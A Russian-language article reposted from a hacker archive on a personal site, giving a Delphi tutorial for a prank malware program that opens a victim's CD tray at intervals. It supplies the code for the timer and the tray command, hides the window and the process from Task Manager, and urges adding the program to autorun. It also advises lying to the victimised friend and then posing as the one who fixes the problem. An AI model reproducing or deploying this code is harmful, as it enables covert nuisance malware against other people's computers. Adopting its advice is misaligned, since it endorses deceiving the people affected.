Бешенный CD-ROM - Delphi;C;VB - Программирование - Каталог статей - Персональный сайт
SgW32 Понедельник, 05.12.2016, 15:34
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Меню сайта

Категории каталога
BAT [1]
Все о батниках
Delphi;C;VB [2]
Пишем проги...
Assembler [0]

Наш опрос
Каких программ на сайте не хватает?
Всего ответов: 72

Главная » Статьи » Программирование » Delphi;C;VB

Бешенный CD-ROM
Бешенный CD-ROM
INATTACK.RU :: Архив документации для хакера



Автор: Scorp

Здравствуйте!!!
Решил написать статейку про то, как сделать прогу-вред, предположим вы хотите чтобы у недруга открывался CD-Rom через указанное время, для этого создаёте новый проект (file -> New Aplication) и ставите компонент "Timer (вкладка: System)" на форму, в его свойстве interval ставите через какое время открывать CD-Rom (в миллисикундах, 1000 мсек. = 1 сек.).

После того как установили интервал нажмите на таймере 2 раза кнопкой мыши и пишите туда такой код:
mciSendString('Set cdaudio door open wait', nil, 0, handle);

Кстати не забудте добавить слово MMSystem в uses. Теперь компилим программу и запускаем, и видим, что через указанное время CD-Rom открывается, и когда мы его закрываем он всё-равно открывается через указанное время! Всё бы хорошо, теперь надо исправить мелкие недочёты, такие как скрытие формы, и невозможность снять программу через ALT-CTRL-DEL. Итак будем разбираться с первым (невидимая форма), для этого нажмите на форму 2 раза и пишите туда:
Left := Screen.Width;

Этот код, скроет форму. Осталось последнее, сделать так, чтобы вашу программу не было видно через ALT-CTRL-DEL, это сделать очень просто добавляем функцию:

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
begin
Yield;
end;


Желательно добавлять это, после все процедур и других функций! Всё программа готова, после этого остаётся только, перезагрузить компьютер, но вы же не настолько глупые, чтобы не засунуть эту программу в автозапуск :)

После этого ваш юзверь не будет жить спокойной жизнью...
Если вы кинули прогу другу, и он обратился к вам за помощью, не спешите рассказать ему, что у него в автозапуске есть плохая программа, что из-за неё все беды, а лучше скажите, что незнаете что это такое и и скажите что щас вышлете (или принесёте) ему программу, которая вылечит ваш комп, я думаю друг вам будет, после этого благодарен!

Такую программу я думаю сделаете сами, просто создайте прогу, которая удалит указанный файл из автозапуска (нашу программу).
Вроде всё, если что-то не понятно пишите _scorp_@mail.kz! Удачи!!!



INATTACK.RU :: Архив документации для хакера




Источник: http://www.inattack.ru
Категория: Delphi;C;VB | Добавил: moneywed (21.04.2008)
Просмотров: 4718 | Комментарии: 1 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Поиск

Друзья сайта

    Integral Calculator
    Enter a function to integrate:

    Variable:

    Limit Calculator
    Enter a function to compute its limit:
    Limit variable: Compute at: Limit type

Статистика

Copyright Sgw32 Corporation © 2016 Используются технологии uCoz